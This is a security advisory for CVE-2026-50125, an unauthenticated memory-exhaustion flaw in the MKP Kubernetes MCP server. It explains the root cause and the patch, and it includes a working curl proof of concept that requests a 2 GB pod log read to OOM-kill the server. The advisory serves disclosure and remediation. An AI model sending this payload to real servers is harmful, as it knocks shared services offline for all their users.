high · 7.5CVE-2026-50125Jul 14, 2026

CVE-2026-50125: MKP Unbounded Pod Log Read Memory Exhaustion

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The MKP Kubernetes MCP server lets any unauthenticated caller request arbitrarily large pod logs, loading the entire response into memory, which can crash the server with a single HTTP request.

Packagegithub.com/StacklokLabs/mkp
Ecosystemgo
Affected< 0.4.1
Fixed in0.4.1

The problem

The `get_resource` MCP tool accepts `limitBytes` and `tailLines` as plain `int64` parameters with no upper-bound check. When the caller supplies a non-nil `parameters` map, the 32 KB default is completely bypassed.

The Kubernetes log stream is then piped through `io.Copy(buf, podLogs)` into an unbounded `bytes.Buffer` in heap memory. JSON serialisation and MCP response wrapping create additional copies, so the observed RSS multiplier is roughly 9x the raw log size. One request with `limitBytes=2147483647` is enough to OOM-kill the process and take the MCP endpoint offline for all users.

Proof of concept

A working proof-of-concept for CVE-2026-50125 in github.com/StacklokLabs/mkp, with the exact payload below.

bash
curl -sS http://TARGET:8080/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  --data '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "get_resource",
      "arguments": {
        "resource_type": "namespaced",
        "group": "",
        "version": "v1",
        "resource": "pods",
        "namespace": "default",
        "name": "TARGET_POD",
        "subresource": "logs",
        "parameters": {
          "tailLines": "999999999",
          "limitBytes": "2147483647"
        }
      }
    }
  }'

The root cause is a missing upper-bound guard at the source (`pkg/k8s/subresource.go` lines 171-181): `strconv.ParseInt` accepts any positive `int64`, and the result is forwarded directly to the Kubernetes API with no cap. The sink (`lines 114-115`) then performs an unconstrained `io.Copy` into a `bytes.Buffer`, so the heap grows proportionally to whatever Kubernetes returns.

The patch adds two constants (`maxPodLogLimitBytes = 1 MB`, `maxPodLogTailLines = 1000`) and wraps the copy in an `io.LimitedReader`. It also clamps any caller-supplied value that exceeds those constants before the request is forwarded, closing both the source and sink halves of the vulnerability (CWE-400).

The rate limiter (120 req/min) provides no mitigation: a single request carrying `limitBytes=2147483647` exhausts memory before any second request is needed.

The fix

Upgrade to MKP v0.4.1. The fix introduces `maxPodLogLimitBytes` (1 MB) and `maxPodLogTailLines` (1000) constants. Caller-supplied values exceeding those limits are silently clamped, and the `io.Copy` sink is wrapped with `io.LimitedReader` so even a misbehaving Kubernetes API cannot fill the buffer beyond the cap.

No workaround exists for earlier versions short of placing an authenticating reverse proxy in front of port 8080.

Reporter not attributed.

References: [1][2]

Related research